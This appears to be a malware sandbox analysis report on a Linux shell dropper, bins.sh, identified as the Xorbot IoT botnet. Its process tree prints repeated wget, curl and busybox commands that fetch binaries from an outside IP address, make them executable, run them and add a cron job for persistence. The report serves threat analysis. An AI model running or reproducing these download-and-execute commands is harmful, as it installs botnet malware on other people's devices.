Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03/12/2024, 12:19

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e90f2da4437a0ca5041ff1e269aaf0a3

  • SHA1

    0a98adb2ff20f4f776013005183c6587f70d362e

  • SHA256

    8bd93158721b18ddc027f2b17049462e8560b78d1542c2e7d1ba48b4ef9f87ac

  • SHA512

    0317c9ffa1ef2243992bd8ca65626458420da8aa8eaf8121cb34503b21992579df787d9ae9aa66e4bcf4cfc8e8581e16d84e5807ce0d0a3f86cb4b52d76d2ee5

  • SSDEEP

    96:IbisBw02V1AFV5vKamQq/b3nXeK+ymTHW30IYw02V12FV5vKaQQMQ3nXeKIymvqQ:sv3chG+1

Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1781) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:666
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:674
        • /usr/bin/wget
          wget http://216.126.231.240/bins/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          2⤵
          • Writes file to tmp directory
          PID:675
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:690
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          2⤵
          • Writes file to tmp directory
          PID:698
        • /bin/chmod
          chmod 777 aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          2⤵
          • File and Directory Permissions Modification
          PID:700
        • /tmp/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          ./aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          2⤵
          • Executes dropped EXE
          PID:701
        • /bin/rm
          rm aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          2⤵
            PID:703
          • /usr/bin/wget
            wget http://216.126.231.240/bins/wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
            2⤵
            • Writes file to tmp directory
            PID:704
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:705
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
            2⤵
            • Writes file to tmp directory
            PID:708
          • /bin/chmod
            chmod 777 wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
            2⤵
            • File and Directory Permissions Modification
            PID:711
          • /tmp/wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
            ./wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
            2⤵
            • Executes dropped EXE
            PID:713
          • /bin/rm
            rm wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
            2⤵
              PID:717
            • /usr/bin/wget
              wget http://216.126.231.240/bins/DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
              2⤵
              • Writes file to tmp directory
              PID:718
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:724
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
              2⤵
              • Writes file to tmp directory
              PID:731
            • /bin/chmod
              chmod 777 DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
              2⤵
              • File and Directory Permissions Modification
              PID:735
            • /tmp/DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
              ./DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
              2⤵
              • Executes dropped EXE
              PID:736
            • /bin/rm
              rm DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
              2⤵
                PID:738
              • /usr/bin/wget
                wget http://216.126.231.240/bins/N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                2⤵
                • Writes file to tmp directory
                PID:739
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:746
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                2⤵
                • Writes file to tmp directory
                PID:754
              • /bin/chmod
                chmod 777 N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                2⤵
                • File and Directory Permissions Modification
                PID:760
              • /tmp/N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                ./N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                2⤵
                • Executes dropped EXE
                PID:761
              • /bin/rm
                rm N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                2⤵
                  PID:765
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                  2⤵
                  • Writes file to tmp directory
                  PID:768
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:774
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                  2⤵
                  • Writes file to tmp directory
                  PID:775
                • /bin/chmod
                  chmod 777 r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                  2⤵
                  • File and Directory Permissions Modification
                  PID:776
                • /tmp/r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                  ./r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                  2⤵
                  • Executes dropped EXE
                  PID:777
                • /bin/rm
                  rm r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                  2⤵
                    PID:779
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                    2⤵
                    • Writes file to tmp directory
                    PID:780
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:787
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                    2⤵
                    • Writes file to tmp directory
                    PID:794
                  • /bin/chmod
                    chmod 777 Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                    2⤵
                    • File and Directory Permissions Modification
                    PID:797
                  • /tmp/Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                    ./Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                    2⤵
                    • Executes dropped EXE
                    PID:798
                  • /bin/rm
                    rm Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                    2⤵
                      PID:801
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                      2⤵
                      • Writes file to tmp directory
                      PID:803
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:810
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                      2⤵
                      • Writes file to tmp directory
                      PID:817
                    • /bin/chmod
                      chmod 777 g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                      2⤵
                      • File and Directory Permissions Modification
                      PID:820
                    • /tmp/g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                      ./g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:821
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:823
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:824
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:825
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:826
                          • /bin/rm
                            rm g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                            2⤵
                              PID:828
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/L1XKQOwpxb0jhajfF8FYHU4ApjtD97Ni1b
                              2⤵
                                PID:831
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/L1XKQOwpxb0jhajfF8FYHU4ApjtD97Ni1b
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                PID:832

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            • /tmp/DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              Download Submit

                            • /tmp/N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              Download Submit

                            • /tmp/Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              Download Submit

                            • /tmp/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              Download Submit

                            • /tmp/g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              Download Submit

                            • /tmp/r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              Download Submit

                            • /tmp/wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              Download Submit

                            • /var/spool/cron/crontabs/tmp.zdfN9P
                              Filesize

                              210B

                              MD5

                              872e4dfea63a5cf52241bc29518e68c9

                              SHA1

                              6386bdaa03f2c3b7b9711b3b250f55cd7f9a7523

                              SHA256

                              025e47fc79ecc1a07f370f18663a4437685d947d5cd6f3c8c10a593023746736

                              SHA512

                              45a40dc0b56a5e061149a46aad86cdd300a6c8422ce950f8b9d2ee5a53e06f71959a41a0d1b32ae9b639d4abb5b3b4d74d35059bd3ada1345a942b4796bd94ba

                              Download Submit